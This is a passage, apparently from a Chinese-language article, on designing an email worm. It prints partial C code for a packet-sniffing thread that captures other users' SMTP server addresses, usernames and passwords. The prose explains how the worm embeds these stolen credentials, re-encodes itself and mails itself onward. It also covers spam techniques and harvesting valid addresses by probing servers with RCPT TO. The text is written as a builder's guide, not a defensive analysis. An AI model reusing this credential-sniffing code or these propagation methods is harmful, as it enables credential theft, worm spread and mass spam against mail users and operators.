下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。
DWORD WINAPI CaptureThread ( LPVOID p )
{
WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文
while( TRUE )
{
memset( buf , 0 , sizeof(buf) ) ;
iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;
pIpHeader = (IPHEADER *)buf ;
if(IsExistIP(pIpHeader->destIP) pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发
continue;
if((pIpHeader->th_flag & SYN) == SYN) //是和服务器开始握手吗?
{
bNewUser = TRUE; //又有新用户发信了,开始记录
iStatus=0;
dwFailCount=0;
}
if(bNewUser==FALSE)
continue;
pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);
switch(iStatus)
{
case 0: //握手状态
{
m_pSmtpServInfo = new SMTPSERVINFO;
m_pSmtpServInfo->dwCredit=3;//初始可信度为3
m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip
iStatus++;
break;
}
case 1:
{
if(::strstr(pBuf,"HELO")) //匿名smtp server
{
m_pSmtpServInfo->bAuth=FALSE;
m_pSmtpServInfo->szUserName[0]=NULL;
m_pSmtpServInfo->szPassWord[0]=NULL;
iStatus=5; //2(user),3(pass)跳过了
}
if(::strstr(pBuf,"EHLO")) //服务器需要认证
{
m_pSmtpServInfo->bAuth=TRUE;
iStatus=2; //准备捕捉用户名和密码
}
break;
}
case 2: //开始收藏帐户和密码
{
if(::strstr(pBuf,"AUTH"))
iStatus=3;
break;
}
case 3:
{
lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);
iStatus=4;
break;
}
case 4:
{ ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1); iStatus=5;
break;
}
case 5:
{
…
::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);
PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程
bNewUser=FALSE; //不必再捕捉25包了,除非有新的握手信息
iStatus=0; //恢复为初始状态。
… |
主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息。同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。
至此,我们完成了邮件服务器和帐户信息的获取工作,蠕虫每到一处,都会搜集最新的服务器信息,搜集到的信息基本都是网络可达的。因为涉及的到服务器数量极多,范围极广,所以封杀服务器或者帐户是不可能的,这些都是Sniffer捕包获得服务器的优势所在。
垃圾邮件的关键技术
垃圾邮件的详细技术不在本文讨论范围之内,但为了说明问题,必须要有简要的说明,一般来说,垃圾邮件必须解决的两个问题是:
1.发送方式的选择
利用SMTP 协议无须认证的缺点
利用Open Relay (开放转发)
Open Relay是指由于邮件服务器不理会邮件发送者或邮件接受者的是否为系统所设定的用户,而对所有的入站邮件一律进行转发(Relay)的功能。
特快专递法
特快专递就是利用本机充当发件服务器的功能,由DNS解析出收件服务器的IP地址,然后将本机直接与收件服务器的相连,将邮件直接发送到收件人的收件服务器上。Foxmail的”特快专递”就是这个原理。现在,特快专递已经逐渐失效,安全级别高的Smtp Server不允许非Smtp Server直接发送,避免被Spammer利用。
自建SMTP服务器
Spammer自己建立SMTP服务器,直接和目标服务器连接,发送邮件。这种情况不需要匿名服务器和转发服务器的帮助。目标服务器没有理由拒绝来自一台邮件服务器的请求,所以原理上总能保证发信成功,缺点是必须申请域名,且必须频繁更换IP和域名,因为很快会被列入黑名单。
由上可见,垃圾邮件的发送技术不适合蠕虫使用,原因是利用上面的方法,Spammer只要找到一个SMTP Server就可以发送数以百万计的邮件了,一个地址失效后可以人为地更换,而蠕虫则不同,必须自力更生,如上所述的Sniffer就是解决途径。
2.邮件地址的获得
VRFY指令
该指令的作用是验证一个用户是否是本地用户:是,则返回完整的地址;否,则根据SMTP的设置回应。Spammer利用这个命令配合字典穷举用户名来收集有效的邮件地址。在新版本的SMTP软件中,这个指令已被禁用,但未取消。
EXPN指令
该指令用来向服务器查询邮件列表,成功则返回列表,每行一个地址。此指令在新版本的SMTP软件中也被禁用。
分析网页
Spammer通过搜索引擎如Google,Yahoo等,获得url,将网页下载到本地后,通过匹配关键字“mail to:”和“@”来收集地址。这种方法应用很广泛,因为有效并且上面两种方法已不可用。但是现在已经有应对措施,比如用代替@。
虚拟发信法
Spammer通过正规的步骤连接Smtp Server,然后发送HELO(EHLO),MAIL FROM成功后,再发送Rcpt To : ,如果得到正确的回应,则收录str,做为合法的邮件地址,然后读取下一个str,再次做Rcpt to尝试,直到发生错误或遍历了所有字符串为止。这种方法的优点在于,在Rcpt to之前发送的命令都是合理的,所有SMTP服务器都不能拒绝Rcpt To,正如所有Web Server都不能拒绝SYN包一样。
关键就在于此了,前面提到邮件蠕虫搜集地址数量的局限,我们可以采用虚拟发信法来解决。形象地描述如下:
客户:Connect(Smtp Server)
服务器:220 smtp.263.net ESMTP ,连接成功
客户:HELO localhost EHLO localhost
服务器:250-smtp.263.net
250-PIPELINING
…
250-AUTH LOGIN
客户:AUTH LOGIN\r\n
服务器:334…
客户:用户名的base64编码
服务器回送:334…
客户:密码的base64编码
服务器:235 Authentication successful
客户:MAIL FROM: \r\n
服务器:250 Ok
客户:RCPT TO: \r\n
服务器回送:
Ø250 , str为合法帐户。
Ø550, invalid user。
Ø522, too many rcpto。
客户:DATA\r\n
… |